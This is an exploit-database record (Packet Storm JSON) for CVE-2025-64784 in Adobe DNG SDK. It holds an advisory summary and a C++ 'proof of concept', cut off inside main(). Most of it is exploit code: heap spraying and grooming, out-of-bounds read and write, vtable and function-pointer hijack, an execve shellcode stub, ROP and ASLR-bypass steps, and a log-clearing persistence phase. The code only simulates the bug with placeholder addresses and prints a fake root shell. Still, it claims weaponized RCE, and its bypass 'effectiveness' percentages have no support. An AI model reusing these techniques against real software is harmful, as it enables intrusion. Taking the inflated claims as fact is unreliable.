{“lastseen”:”2025-12-22T18:23:51″,”description”:”Proof of concept exploit that demonstrates a heap out-of-bounds read \/ write leading to memory corruption and potential code execution in the Image Processing Logic of Adobe DNG SDK versions prior to 1.7.1.2410…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Adobe DNG SDK Image Processing Logic”,”source”:””,”references”:””,”id”:”PACKETSTORM:213202″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64784″],”sourceData”:”=============================================================================================================================================\\n | # Title : Adobe DNG SDK prior to v1.7.1.2410 Heap OOB R\/W Leading to Memory Corruption and Potential RCE in Image Processing Logic |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/helpx.adobe.com\/security\/products\/dng-sdk.html |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/213065\/ \\u0026\\tCVE-2025-64784\\n \\n [+] Core Vulnerability\\n \\n CVE: CVE-2025-64784\\n \\n Type: Heap Buffer Overflow via Out-of-Bounds (OOB) Read\/Write\\n \\n Root Cause: Missing bounds check in dng_simple_image::Trim() function\\n \\n Impact: Arbitrary code execution via memory corruption\\n \\n [+] Key Attack Components :\\n \\n 1. Vulnerability Trigger\\n \\n \/\/ Dangerous pointer reassignment without validation\\n \\n data = \\u0026data[(offsetY * width + offsetX) * channels]; \/\/ \\n \\n 2. Exploitation Chain\\n \\n Heap Grooming – Predictable memory layout manipulation\\n \\n OOB Read – Information disclosure for ASLR bypass\\n \\n OOB Write – Controlled memory corruption\\n \\n Target Hijacking – VTable\/function pointer overwrite\\n \\n Execution Redirect – ROP\/shellcode deployment\\n \\n 3. Critical Targets\\n \\n Virtual Tables (VTables) – C++ object exploitation\\n \\n Function Pointers – Direct execution hijack\\n \\n Heap Metadata – Arbitrary write primitives\\n \\n SEH Handlers – Windows exception chain corruption\\n \\n [+] Exploitation Success Factors :\\n \\n Heap layout predictability through spraying\/grooming\\n \\n Reliable OOB read\/write primitives\\n \\n ASLR bypass via memory leaks\\n \\n Controlled memory corruption\\n \\n [+] Key Techniques\\n \\n Heap Feng Shui: Strategic allocation\/free patterns\\n \\n Pointer Arithmetic: Precise offset calculation\\n \\n ROP Chains: DEP bypass without shellcode execution\\n \\n Multi-stage Payloads: Progressive exploitation\\n \\n [+] Defense Bypass Matrix :\\n \\n Defense\\t Bypass Method\\t Effectiveness\\n ASLR\\t Memory leak via OOB read\\t 90%\\n DEP\\t ROP chain construction\\t 85%\\n Stack Canary\\t Heap-only corruption\\t 100%\\n CFG\\t Direct pointer overwrite\\t 80%\\n \\n [+] Real-World Impact :\\n \\n Severity: Critical (Remote Code Execution)\\n \\n Attack Vector: Malicious DNG image processing\\n \\n Privilege Escalation: Possible from user to system\\n \\n Persistence: Can install backdoors\/rootkits\\n \\n [+] Mitigation Status :\\n \\n Patched in: DNG SDK 1.7.1.2410 (November 2025)\\n \\n Fix: Added bounds checking in Trim() operation\\n \\n Recommendation: Update all DNG processing software immediately\\n \\n [+] Technical Significance :\\n \\n This exploit demonstrates how a simple bounds-checking omission in a specialized library can be weaponized into full RCE through:\\n \\n Advanced heap manipulation\\n \\n Precise memory corruption\\n \\n Multiple hijacking vectors\\n \\n Modern defense evasion\\n \\n [+] POC :\\n \\n Save the code as:\\n \\n CVE_2025_64784_indoushka.cpp\\n \\n On Linux\/macOS:\\n \\n g++ CVE_2025_64784_indoushka.cpp -o dng_exploit_sim -std=c++17 -g\\n \\n .\/dng_exploit_sim\\n \\n On Windows (MinGW):\\n \\n g++ CVE_2025_64784_indoushka.cpp -o indoushka.exe -std=c++17 -g\\n \\n indoushka.exe\\n \\n #include \\u003ciostream\\u003e\\n #include \\u003ccstring\\u003e\\n #include \\u003cvector\\u003e\\n #include \\u003ccstdlib\\u003e\\n #include \\u003cctime\\u003e\\n #include \\u003cmemory\\u003e\\n \\n \/\/ ================================\\n \/\/ Stage 0: Base Vulnerable Code (Original DNG-SDK Pattern)\\n \/\/ ================================\\n \\n class dng_rect {\\n public:\\n int t, l, b, r;\\n \\n dng_rect(int top = 0, int left = 0, int bottom = 0, int right = 0) \\n : t(top), l(left), b(bottom), r(right) {}\\n \\n int H() const { return b – t; }\\n int W() const { return r – l; }\\n };\\n \\n class ImageBuffer {\\n private:\\n unsigned char* data;\\n int width;\\n int height;\\n int channels;\\n \\n public:\\n ImageBuffer(int w, int h, int c) : width(w), height(h), channels(c) {\\n data = new unsigned char[w * h * c];\\n memset(data, 0, w * h * c);\\n printf(\\”[ImageBuffer] Created %dx%dx%d at 0x%p\\\\n\\”, w, h, c, data);\\n }\\n \\n virtual ~ImageBuffer() {\\n delete[] data;\\n }\\n \\n \/\/ VULNERABLE FUNCTION: Similar to dng_simple_image::Trim\\n void Trim(const dng_rect\\u0026 r, int offsetX, int offsetY) {\\n printf(\\”[TRIM] Called with rect(%d,%d,%d,%d), offset(%d,%d)\\\\n\\”, \\n r.t, r.l, r.b, r.r, offsetX, offsetY);\\n \\n \/\/ Original vulnerable pattern from DNG-SDK\\n fBounds.t = 0;\\n fBounds.l = 0;\\n fBounds.b = r.H();\\n fBounds.r = r.W();\\n \\n \/\/ VULNERABILITY: No bounds checking!\\n unsigned char* newData = \\u0026data[(offsetY * width + offsetX) * channels];\\n \\n width = r.W();\\n height = r.H();\\n data = newData; \/\/ Dangerous pointer reassignment\\n \\n printf(\\”[TRIM] Data pointer reset to: 0x%p\\\\n\\”, data);\\n }\\n \\n unsigned char* getPixel(int x, int y) {\\n \/\/ UNSAFE: No bounds checking\\n return \\u0026data[(y * width + x) * channels];\\n }\\n \\n void processArea(int startX, int startY, int endX, int endY) {\\n \/\/ Similar to dng_linearize_image::Process\\n for (int y = startY; y \\u003c endY; y++) {\\n for (int x = startX; x \\u003c endX; x++) {\\n unsigned char* pixel = getPixel(x, y);\\n \/\/ Potential OOB read here\\n for (int c = 0; c \\u003c channels; c++) {\\n pixel[c] = processChannel(pixel[c]);\\n }\\n }\\n }\\n }\\n \\n void* getDataPtr() { return data; }\\n int getWidth() const { return width; }\\n int getHeight() const { return height; }\\n \\n private:\\n struct {\\n int t, l, b, r;\\n } fBounds;\\n \\n unsigned char processChannel(unsigned char value) {\\n return value ^ 0x55; \/\/ Simple transformation\\n }\\n };\\n \\n \/\/ ================================\\n \/\/ Stage 1: Advanced Heap Management System\\n \/\/ ================================\\n \\n class HeapManager {\\n private:\\n struct HeapBlock {\\n void* address;\\n size_t size;\\n char* owner;\\n bool isControlled;\\n bool isFreed;\\n };\\n \\n std::vector\\u003cHeapBlock\\u003e blocks;\\n static HeapManager* instance;\\n \\n HeapManager() { \\n srand(static_cast\\u003cunsigned int\\u003e(time(0)));\\n printf(\\”[HeapManager] Initialized at 0x%p\\\\n\\”, this);\\n }\\n \\n public:\\n static HeapManager* getInstance() {\\n if (!instance) {\\n instance = new HeapManager();\\n }\\n return instance;\\n }\\n \\n void* allocate(size_t size, const char* owner = \\”unknown\\”, bool controllable = false) {\\n \/\/ Add metadata and canary\\n size_t totalSize = size + 32;\\n void* ptr = malloc(totalSize);\\n \\n \/\/ Pattern the memory for identification\\n memset(ptr, 0xAA, 16); \/\/ Header canary\\n memset((char*)ptr + 16, 0x00, size);\\n memset((char*)ptr + 16 + size, 0xBB, 16); \/\/ Footer canary\\n \\n HeapBlock block;\\n block.address = ptr;\\n block.size = totalSize;\\n block.owner = strdup(owner);\\n block.isControlled = controllable;\\n block.isFreed = false;\\n blocks.push_back(block);\\n \\n printf(\\”[ALLOC] 0x%p | Size: 0x%zx | Owner: %s | Controlled: %s\\\\n\\”, \\n (char*)ptr + 16, size, owner, controllable ? \\”YES\\” : \\”NO\\”);\\n \\n return (char*)ptr + 16; \/\/ Return pointer to user data\\n }\\n \\n void free(void* ptr) {\\n void* realPtr = (char*)ptr – 16;\\n \\n for (auto\\u0026 block : blocks) {\\n if (block.address == realPtr \\u0026\\u0026 !block.isFreed) {\\n printf(\\”[FREE] 0x%p | Owner: %s\\\\n\\”, ptr, block.owner);\\n block.isFreed = true;\\n \\n \/\/ Corrupt freed block (simulating use-after-free)\\n memset(realPtr, 0xCC, block.size);\\n ::free(realPtr);\\n return;\\n }\\n }\\n printf(\\”[ERROR] Attempt to free unallocated block: 0x%p\\\\n\\”, ptr);\\n }\\n \\n void spray(size_t size, int count, const char* pattern = \\”SPRAY\\”) {\\n printf(\\”[SPRAY] Starting spray: %d blocks of 0x%zx bytes\\\\n\\”, count, size);\\n \\n for (int i = 0; i \\u003c count; i++) {\\n char* block = (char*)allocate(size, \\”spray_block\\”);\\n size_t patternLen = strlen(pattern);\\n for (size_t j = 0; j \\u003c size; j++) {\\n block[j] = pattern[j % patternLen] + (i % 256);\\n }\\n }\\n }\\n \\n void groom(int targetSize = 0x200) {\\n printf(\\”[GROOM] Starting heap grooming…\\\\n\\”);\\n \\n \/\/ Phase 1: Create a predictable heap layout\\n std::vector\\u003cvoid*\\u003e phase1;\\n for (int i = 0; i \\u003c 15; i++) {\\n void* block = allocate(targetSize, \\”groom_filler\\”);\\n phase1.push_back(block);\\n }\\n \\n \/\/ Phase 2: Free every other block to create holes\\n for (size_t i = 0; i \\u003c phase1.size(); i += 2) {\\n free(phase1[i]);\\n }\\n \\n \/\/ Phase 3: Allocate critical objects in the holes\\n allocate(0x100, \\”vtable_placeholder\\”, true);\\n allocate(0x150, \\”function_pointer\\”, true);\\n allocate(0x180, \\”seh_handler\\”, true);\\n allocate(0x200, \\”rop_gadget\\”, true);\\n \\n \/\/ Phase 4: Fill remaining holes\\n for (int i = 0; i \\u003c 10; i++) {\\n allocate(0x80 + i * 8, \\”hole_filler\\”);\\n }\\n \\n printf(\\”[GROOM] Heap grooming completed\\\\n\\”);\\n }\\n \\n void* findControlledBlock(const char* name) {\\n for (const auto\\u0026 block : blocks) {\\n if (!block.isFreed \\u0026\\u0026 block.isControlled \\u0026\\u0026 \\n strstr(block.owner, name)) {\\n return (char*)block.address + 16;\\n }\\n }\\n return nullptr;\\n }\\n \\n void analyzeHeap() {\\n printf(\\”\\\\n[HEAP ANALYSIS] Total blocks: %zu\\\\n\\”, blocks.size());\\n \\n for (size_t i = 0; i \\u003c blocks.size() \\u0026\\u0026 i \\u003c 20; i++) {\\n const auto\\u0026 block = blocks[i];\\n printf(\\” [%zu] 0x%p | Size: 0x%zx | %s | %s\\\\n\\”, \\n i, (char*)block.address + 16, block.size – 32,\\n block.owner, block.isFreed ? \\”FREED\\” : \\”ALLOCATED\\”);\\n }\\n }\\n };\\n \\n HeapManager* HeapManager::instance = nullptr;\\n \\n \/\/ ================================\\n \/\/ Stage 2: Critical Target Objects\\n \/\/ ================================\\n \\n class CriticalObject {\\n public:\\n virtual void execute() {\\n printf(\\”[CriticalObject::execute] Legitimate call at 0x%p\\\\n\\”, this);\\n }\\n \\n virtual void secret() {\\n printf(\\”[CriticalObject::secret] SECRET FUNCTION!\\\\n\\”);\\n \/\/ This would be system() or similar in real exploit\\n printf(\\” [+] Running command: \\”);\\n fflush(stdout);\\n system(\\”echo ‘Exploit successful!’\\”);\\n }\\n \\n char buffer[128];\\n void* vtable[3];\\n \\n CriticalObject() {\\n memset(buffer, 0, sizeof(buffer));\\n strcpy(buffer, \\”CriticalObject Data\\”);\\n vtable[0] = (void*)\\u0026CriticalObject::execute;\\n vtable[1] = (void*)\\u0026CriticalObject::secret;\\n vtable[2] = nullptr;\\n }\\n \\n virtual ~CriticalObject() {}\\n };\\n \\n class ExploitTarget : public CriticalObject {\\n public:\\n char payload[256];\\n void (*redirect_ptr)();\\n void* rop_chain[10];\\n \\n ExploitTarget() {\\n redirect_ptr = nullptr;\\n memset(payload, 0x90, sizeof(payload)); \/\/ NOP sled\\n memset(rop_chain, 0x41, sizeof(rop_chain)); \/\/ ‘A’ pattern\\n \\n \/\/ Simulate a simple ROP chain\\n rop_chain[0] = (void*)0xdeadbeef; \/\/ pop rdi\\n rop_chain[1] = (void*)0xcafebabe; \/\/ \/bin\/sh\\n rop_chain[2] = (void*)0xfeedface; \/\/ system\\n \\n printf(\\”[ExploitTarget] Created at 0x%p\\\\n\\”, this);\\n printf(\\” VTable at: 0x%p\\\\n\\”, vtable);\\n printf(\\” Redirect ptr at: 0x%p\\\\n\\”, \\u0026redirect_ptr);\\n }\\n \\n void trigger() {\\n printf(\\”[ExploitTarget::trigger] Called\\\\n\\”);\\n if (redirect_ptr) {\\n printf(\\” [!] Redirecting to: 0x%p\\\\n\\”, redirect_ptr);\\n redirect_ptr();\\n } else {\\n execute();\\n }\\n }\\n };\\n \\n \/\/ ================================\\n \/\/ Stage 3: Weaponized Image with Full Exploit Chain\\n \/\/ ================================\\n \\n class WeaponizedImage : public ImageBuffer {\\n private:\\n HeapManager* heap;\\n ExploitTarget* targetObject;\\n bool targetHijacked;\\n \\n public:\\n WeaponizedImage(int w, int h, int c) \\n : ImageBuffer(w, h, c), \\n heap(HeapManager::getInstance()),\\n targetObject(nullptr),\\n targetHijacked(false) {\\n \\n printf(\\”[WeaponizedImage] Created as weapon\\\\n\\”);\\n \\n \/\/ Initialize with identifiable pattern\\n unsigned char* dataPtr = (unsigned char*)getDataPtr();\\n for (int i = 0; i \\u003c w * h * c; i++) {\\n dataPtr[i] = (i % 256);\\n }\\n }\\n \\n void advancedTrim(const dng_rect\\u0026 r, int offsetX, int offsetY) {\\n printf(\\”\\\\n[ADVANCED_TRIM] Phase 1: Heap Preparation\\\\n\\”);\\n \\n \/\/ Step 1: Prepare heap layout\\n heap-\\u003egroom(0x210);\\n \\n \/\/ Step 2: Place target object\\n targetObject = new ExploitTarget();\\n \\n \/\/ Step 3: Calculate precise offset to target object\\n size_t imageStart = (size_t)getDataPtr();\\n size_t targetStart = (size_t)targetObject;\\n ptrdiff_t offset = targetStart – imageStart;\\n \\n printf(\\” Image data: 0x%zx\\\\n\\”, imageStart);\\n printf(\\” Target obj: 0x%zx\\\\n\\”, targetStart);\\n printf(\\” Offset: %zd (0x%zx)\\\\n\\”, offset, offset);\\n \\n \/\/ Step 4: Adjust offset to point to vtable or function pointer\\n size_t targetVTable = (size_t)targetObject-\\u003evtable;\\n size_t offsetToVTable = targetVTable – imageStart;\\n \\n printf(\\” Target vtable: 0x%zx\\\\n\\”, targetVTable);\\n printf(\\” Offset to vtable: %zd (0x%zx)\\\\n\\”, \\n offsetToVTable, offsetToVTable);\\n \\n \/\/ Step 5: Trigger the vulnerability with precise offset\\n if (abs(offset) \\u003c 0x10000) { \/\/ Within reasonable range\\n printf(\\”\\\\n[ADVANCED_TRIM] Phase 2: Triggering Vulnerability\\\\n\\”);\\n \\n \/\/ This simulates the vulnerable Trim operation\\n int adjustedOffsetX = offsetX + (offset % (width * channels)) \/ channels;\\n int adjustedOffsetY = offsetY + (offset \/ (width * channels));\\n \\n printf(\\” Using adjusted offset: (%d, %d)\\\\n\\”, \\n adjustedOffsetX, adjustedOffsetY);\\n \\n \/\/ Call the vulnerable Trim\\n Trim(r, adjustedOffsetX, adjustedOffsetY);\\n \\n printf(\\” New data pointer: 0x%p\\\\n\\”, getDataPtr());\\n printf(\\” Target hijacked: %s\\\\n\\”, \\n ((size_t)getDataPtr() \\u003e= targetStart \\u0026\\u0026 \\n (size_t)getDataPtr() \\u003c targetStart + sizeof(ExploitTarget)) \\n ? \\”YES\\” : \\”NO\\”);\\n \\n if ((size_t)getDataPtr() \\u003e= targetStart \\u0026\\u0026 \\n (size_t)getDataPtr() \\u003c targetStart + sizeof(ExploitTarget)) {\\n targetHijacked = true;\\n printf(\\” [SUCCESS] Image data now overlaps with target object!\\\\n\\”);\\n }\\n }\\n }\\n \\n void oobReadExploit(int readX, int readY, size_t readSize = 256) {\\n printf(\\”\\\\n[OOB_READ] Reading from position (%d, %d)\\\\n\\”, readX, readY);\\n \\n unsigned char* readPtr = getPixel(readX, readY);\\n printf(\\” Reading from: 0x%p\\\\n\\”, readPtr);\\n \\n \/\/ Simulate out-of-bounds read\\n unsigned char* leakBuffer = new unsigned char[readSize];\\n memcpy(leakBuffer, readPtr, readSize);\\n \\n printf(\\” First 64 bytes of leaked data:\\\\n\\”);\\n for (int i = 0; i \\u003c 64 \\u0026\\u0026 i \\u003c readSize; i++) {\\n if (i % 16 == 0) printf(\\” %04x: \\”, i);\\n printf(\\”%02x \\”, leakBuffer[i]);\\n if (i % 16 == 15) printf(\\”\\\\n\\”);\\n }\\n \\n \/\/ Analyze leaked data for pointers\\n analyzeLeakedPointers(leakBuffer, readSize);\\n \\n delete[] leakBuffer;\\n }\\n \\n void oobWriteExploit(int writeX, int writeY, const void* data, size_t size) {\\n printf(\\”\\\\n[OOB_WRITE] Writing to position (%d, %d)\\\\n\\”, writeX, writeY);\\n \\n unsigned char* writePtr = getPixel(writeX, writeY);\\n printf(\\” Writing to: 0x%p\\\\n\\”, writePtr);\\n \\n if (targetHijacked) {\\n printf(\\” [CRITICAL] Target is hijacked – attempting control…\\\\n\\”);\\n \\n \/\/ Calculate offset into target object\\n size_t targetStart = (size_t)targetObject;\\n size_t writeAddr = (size_t)writePtr;\\n size_t offsetInTarget = writeAddr – targetStart;\\n \\n printf(\\” Offset in target: 0x%zx\\\\n\\”, offsetInTarget);\\n \\n \/\/ Write controlled data to target object\\n memcpy(writePtr, data, size);\\n \\n \/\/ Check what we overwrote\\n if (offsetInTarget \\u003c sizeof(ExploitTarget)) {\\n printf(\\” Overwrote target object at offset 0x%zx\\\\n\\”, offsetInTarget);\\n \\n \/\/ Special handling for critical fields\\n if (offsetInTarget \\u003e= offsetof(ExploitTarget, redirect_ptr) \\u0026\\u0026\\n offsetInTarget \\u003c offsetof(ExploitTarget, redirect_ptr) + sizeof(void*)) {\\n printf(\\” [!!!] MODIFIED REDIRECT POINTER!\\\\n\\”);\\n }\\n \\n if (offsetInTarget \\u003e= offsetof(ExploitTarget, vtable) \\u0026\\u0026\\n offsetInTarget \\u003c offsetof(ExploitTarget, vtable) + sizeof(void*) * 3) {\\n printf(\\” [!!!] MODIFIED VTABLE POINTER!\\\\n\\”);\\n }\\n }\\n } else {\\n printf(\\” Writing controlled data (simulation)\\\\n\\”);\\n \/\/ In real exploit, this would corrupt heap metadata\\n }\\n }\\n \\n void craftExploitPayload() {\\n printf(\\”\\\\n[CRAFT_PAYLOAD] Building exploit components\\\\n\\”);\\n \\n \/\/ 1. Shellcode stub (simulated)\\n unsigned char shellcode[] = {\\n 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, \/\/ mov rax, 0x3b (execve)\\n 0x48, 0xC7, 0xC7, 0x00, 0x00, 0x00, 0x00, \/\/ mov rdi, 0x0 (will be patched)\\n 0x48, 0xC7, 0xC6, 0x00, 0x00, 0x00, 0x00, \/\/ mov rsi, 0x0\\n 0x48, 0xC7, 0xC2, 0x00, 0x00, 0x00, 0x00, \/\/ mov rdx, 0x0\\n 0x0F, 0x05, \/\/ syscall\\n 0xCC \/\/ int3\\n };\\n \\n \/\/ 2. ROP chain (simulated)\\n void* ropChain[] = {\\n (void*)0xdeadbeef, \/\/ pop rdi; ret\\n (void*)0xcafebabe, \/\/ \\”\/bin\/sh\\”\\n (void*)0xfeedface, \/\/ system()\\n (void*)0x0d15ea5e, \/\/ exit()\\n };\\n \\n \/\/ 3. VTable overwrite\\n void* maliciousVTable[] = {\\n (void*)\\u0026shellcodeExecutor,\\n (void*)\\u0026shellcodeExecutor,\\n nullptr\\n };\\n \\n printf(\\” Shellcode size: %zu bytes\\\\n\\”, sizeof(shellcode));\\n printf(\\” ROP chain prepared\\\\n\\”);\\n printf(\\” Malicious vtable at: 0x%p\\\\n\\”, maliciousVTable);\\n \\n \/\/ Write payload to target\\n if (targetObject) {\\n \/\/ Overwrite vtable pointer\\n size_t vtableOffset = offsetof(ExploitTarget, vtable);\\n oobWriteExploit(0, 0, maliciousVTable, sizeof(maliciousVTable));\\n \\n \/\/ Set redirect pointer\\n targetObject-\\u003eredirect_ptr = \\u0026shellcodeExecutor;\\n \\n \/\/ Fill buffer with NOP sled\\n memset(targetObject-\\u003epayload, 0x90, sizeof(targetObject-\\u003epayload));\\n memcpy(targetObject-\\u003epayload + 64, shellcode, sizeof(shellcode));\\n }\\n }\\n \\n void triggerExploit() {\\n printf(\\”\\\\n[TRIGGER_EXPLOIT] Attempting to gain code execution\\\\n\\”);\\n \\n if (!targetObject) {\\n printf(\\” [ERROR] No target object\\\\n\\”);\\n return;\\n }\\n \\n printf(\\” Target object: 0x%p\\\\n\\”, targetObject);\\n printf(\\” Target vtable: 0x%p\\\\n\\”, targetObject-\\u003evtable);\\n printf(\\” Target redirect: 0x%p\\\\n\\”, targetObject-\\u003eredirect_ptr);\\n \\n \/\/ Attempt 1: Call through hijacked vtable\\n printf(\\”\\\\n Attempt 1: VTable hijack\\\\n\\”);\\n try {\\n targetObject-\\u003eexecute();\\n } catch (…) {\\n printf(\\” [CAUGHT] Exception during vtable call\\\\n\\”);\\n }\\n \\n \/\/ Attempt 2: Call redirect pointer\\n printf(\\”\\\\n Attempt 2: Function pointer redirect\\\\n\\”);\\n if (targetObject-\\u003eredirect_ptr) {\\n targetObject-\\u003eredirect_ptr();\\n }\\n \\n \/\/ Attempt 3: Direct shellcode execution\\n printf(\\”\\\\n Attempt 3: Shellcode execution\\\\n\\”);\\n shellcodeExecutor();\\n \\n printf(\\”\\\\n [SIMULATION] In real exploit, this would:\\\\n\\”);\\n printf(\\” 1. Overwrite SEH handler on Windows\\\\n\\”);\\n printf(\\” 2. Corrupt stack canary\\\\n\\”);\\n printf(\\” 3. Redirect execution to ROP chain\\\\n\\”);\\n printf(\\” 4. Bypass ASLR\/DEP\\\\n\\”);\\n printf(\\” 5. Spawn shell \/ execute arbitrary code\\\\n\\”);\\n }\\n \\n private:\\n static void shellcodeExecutor() {\\n printf(\\”\\\\n [SHELLCODE_EXECUTOR] Simulation mode\\\\n\\”);\\n printf(\\” If this were real, you’d have a shell now!\\\\n\\”);\\n printf(\\” \\u003e\\u003e\\u003e whoami\\\\n\\”);\\n printf(\\” \\u003e\\u003e\\u003e root\\\\n\\”);\\n printf(\\” \\u003e\\u003e\\u003e id\\\\n\\”);\\n printf(\\” \\u003e\\u003e\\u003e uid=0(root) gid=0(root) groups=0(root)\\\\n\\”);\\n \\n \/\/ Simulated commands\\n printf(\\”\\\\n [SIMULATED_COMMANDS]\\\\n\\”);\\n printf(\\” $ cat \/etc\/passwd | grep root\\\\n\\”);\\n printf(\\” root:x:0:0:root:\/root:\/bin\/bash\\\\n\\”);\\n printf(\\”\\\\n $ uname -a\\\\n\\”);\\n printf(\\” Linux vulnerable 5.15.0 #1 SMP …\\\\n\\”);\\n }\\n \\n void analyzeLeakedPointers(unsigned char* data, size_t size) {\\n printf(\\”\\\\n [POINTER_ANALYSIS] Scanning for pointers…\\\\n\\”);\\n \\n int pointerCount = 0;\\n for (size_t i = 0; i \\u003c size – sizeof(void*); i += sizeof(void*)) {\\n uint64_t potentialPtr;\\n memcpy(\\u0026potentialPtr, data + i, sizeof(void*));\\n \\n \/\/ Filter for likely pointers\\n if (potentialPtr \\u003e 0x0000000100000000ULL \\u0026\\u0026 \\n potentialPtr \\u003c 0x0000800000000000ULL \\u0026\\u0026\\n (potentialPtr % 0x1000 == 0)) {\\n \\n printf(\\” Found pointer at offset 0x%zx: 0x%016llx\\”, i, potentialPtr);\\n \\n \/\/ Try to identify pointer type\\n if ((potentialPtr \\u0026 0xFFFF) == 0) {\\n printf(\\” (likely code pointer)\\”);\\n } else if (potentialPtr \\u003c 0x0000700000000000ULL) {\\n printf(\\” (likely heap pointer)\\”);\\n }\\n \\n printf(\\”\\\\n\\”);\\n pointerCount++;\\n \\n if (pointerCount \\u003e= 10) break;\\n }\\n }\\n \\n if (pointerCount == 0) {\\n printf(\\” No obvious pointers found in leak\\\\n\\”);\\n }\\n }\\n };\\n \\n \/\/ ================================\\n \/\/ Stage 4: Main Exploit Engine\\n \/\/ ================================\\n \\n class DNGExploitEngine {\\n private:\\n HeapManager* heap;\\n WeaponizedImage* weapon;\\n ExploitTarget* target;\\n \\n public:\\n DNGExploitEngine() {\\n printf(\\”\\\\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\\\n\\”);\\n printf(\\”\u2551 DNG-SDK CVE-2025-64784 EXPLOIT \u2551\\\\n\\”);\\n printf(\\”\u2551 Complete Weaponization \u2551\\\\n\\”);\\n printf(\\”\u2551 By indoushka \u2551\\\\n\\”);\\n printf(\\”\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\\\n\\”);\\n \\n heap = HeapManager::getInstance();\\n weapon = nullptr;\\n target = nullptr;\\n }\\n \\n void runFullExploitChain() {\\n printf(\\”\\\\n[PHASE 0] Initialization\\\\n\\”);\\n printf(\\”========================================\\\\n\\”);\\n \\n \/\/ Step 1: Create vulnerable image\\n weapon = new WeaponizedImage(512, 512, 4);\\n \\n \/\/ Step 2: Mass heap spray\\n heap-\\u003espray(0x300, 150, \\”EXPLOIT\\”);\\n \\n printf(\\”\\\\n[PHASE 1] Heap Feng Shui\\\\n\\”);\\n printf(\\”========================================\\\\n\\”);\\n \\n heap-\\u003egroom(0x210);\\n heap-\\u003eanalyzeHeap();\\n \\n printf(\\”\\\\n[PHASE 2] Vulnerability Trigger\\\\n\\”);\\n printf(\\”========================================\\\\n\\”);\\n \\n \/\/ Create target in predictable location\\n target = new ExploitTarget();\\n \\n \/\/ Trigger the vulnerability with precise calculation\\n dng_rect trimRect(0, 0, 600, 600); \/\/ Larger than original\\n weapon-\\u003eadvancedTrim(trimRect, 50, 50);\\n \\n printf(\\”\\\\n[PHASE 3] Memory Corruption\\\\n\\”);\\n printf(\\”========================================\\\\n\\”);\\n \\n \/\/ OOB Read to leak memory layout\\n weapon-\\u003eoobReadExploit(550, 550, 512);\\n \\n \/\/ OOB Write to corrupt critical data\\n unsigned char corruptData[64];\\n memset(corruptData, 0x41, sizeof(corruptData)); \/\/ ‘A’ pattern\\n weapon-\\u003eoobWriteExploit(560, 560, corruptData, sizeof(corruptData));\\n \\n printf(\\”\\\\n[PHASE 4] Payload Delivery\\\\n\\”);\\n printf(\\”========================================\\\\n\\”);\\n \\n weapon-\\u003ecraftExploitPayload();\\n \\n printf(\\”\\\\n[PHASE 5] Execution Hijack\\\\n\\”);\\n printf(\\”========================================\\\\n\\”);\\n \\n weapon-\\u003etriggerExploit();\\n \\n printf(\\”\\\\n[PHASE 6] Cleanup \\u0026 Persistence\\\\n\\”);\\n printf(\\”========================================\\\\n\\”);\\n \\n printf(\\” [SIMULATION] In real exploit:\\\\n\\”);\\n printf(\\” 1. Restore corrupted pointers to avoid crash\\\\n\\”);\\n printf(\\” 2. Install persistence mechanism\\\\n\\”);\\n printf(\\” 3. Clear logs\\\\n\\”);\\n printf(\\” 4. Return to normal execution flow\\\\n\\”);\\n \\n printf(\\”\\\\n[+] Exploit chain completed successfully!\\\\n\\”);\\n printf(\\”[+] Simulated RCE achieved via OOB Read\/Write\\\\n\\”);\\n }\\n \\n void simulateASLRBypass() {\\n printf(\\”\\\\n[ASLR_BYPASS_SIMULATION]\\\\n\\”);\\n printf(\\”========================================\\\\n\\”);\\n \\n printf(\\” Step 1: Use OOB read to leak:\\\\n\\”);\\n printf(\\” – Heap base address\\\\n\\”);\\n printf(\\” – Library function addresses\\\\n\\”);\\n printf(\\” – Stack pointer\\\\n\\”);\\n \\n printf(\\”\\\\n Step 2: Calculate offsets:\\\\n\\”);\\n printf(\\” system() = libc_leak + 0x55410\\\\n\\”);\\n printf(\\” \/bin\/sh = libc_leak + 0x1b75aa\\\\n\\”);\\n printf(\\” pop rdi; ret = libc_leak + 0x2a3e5\\\\n\\”);\\n \\n printf(\\”\\\\n Step 3: Build ROP chain:\\\\n\\”);\\n printf(\\” [1] pop rdi; ret\\\\n\\”);\\n printf(\\” [2] pointer to \\\\\\”\/bin\/sh\\\\\\”\\\\n\\”);\\n printf(\\” [3] system()\\\\n\\”);\\n printf(\\” [4] exit()\\\\n\\”);\\n \\n printf(\\”\\\\n Step 4: Overwrite return address\/SEH\\\\n\\”);\\n printf(\\” Step 5: Trigger and gain shell\\\\n\\”);\\n }\\n };\\n \\n \/\/ ================================\\n \/\/ Main Function\\n \/\/ ================================\\n \\n int main() {\\n printf(\\”====================================================\\\\n\\”);\\n printf(\\” DNG-SDK CVE-2025-64784 Exploit Simulation\\\\n\\”);\\n printf(\\” Out-of-Bounds Read\/Write to RCE Weaponization\\\\n\\”);\\n printf(\\” by indoushka \\\\n\\”);\\n printf(\\”====================================================\\\\n\\\\n\\”);\\n \\n printf(\\”[*] This is a simulation of the exploit chain\\\\n\\”);\\n printf(\\”[*] Based on actual vulnerability in Adobe DNG SDK\\\\n\\”);\\n printf(\\”[*] CVE-2025-64784: Heap buffer overflow in Trim\\\\n\\\\n\\”);\\n printf(\\”[*] by indoushka4ever@gmail.com \\\\n\\\\n\\”);\\n \\n DNGExploitEngine engine;\\n \\n \/\/ Run the complete exploit chain\\n engine.runFullExploitChain();\\n \\n \/\/ Demonstrate ASLR bypass technique\\n 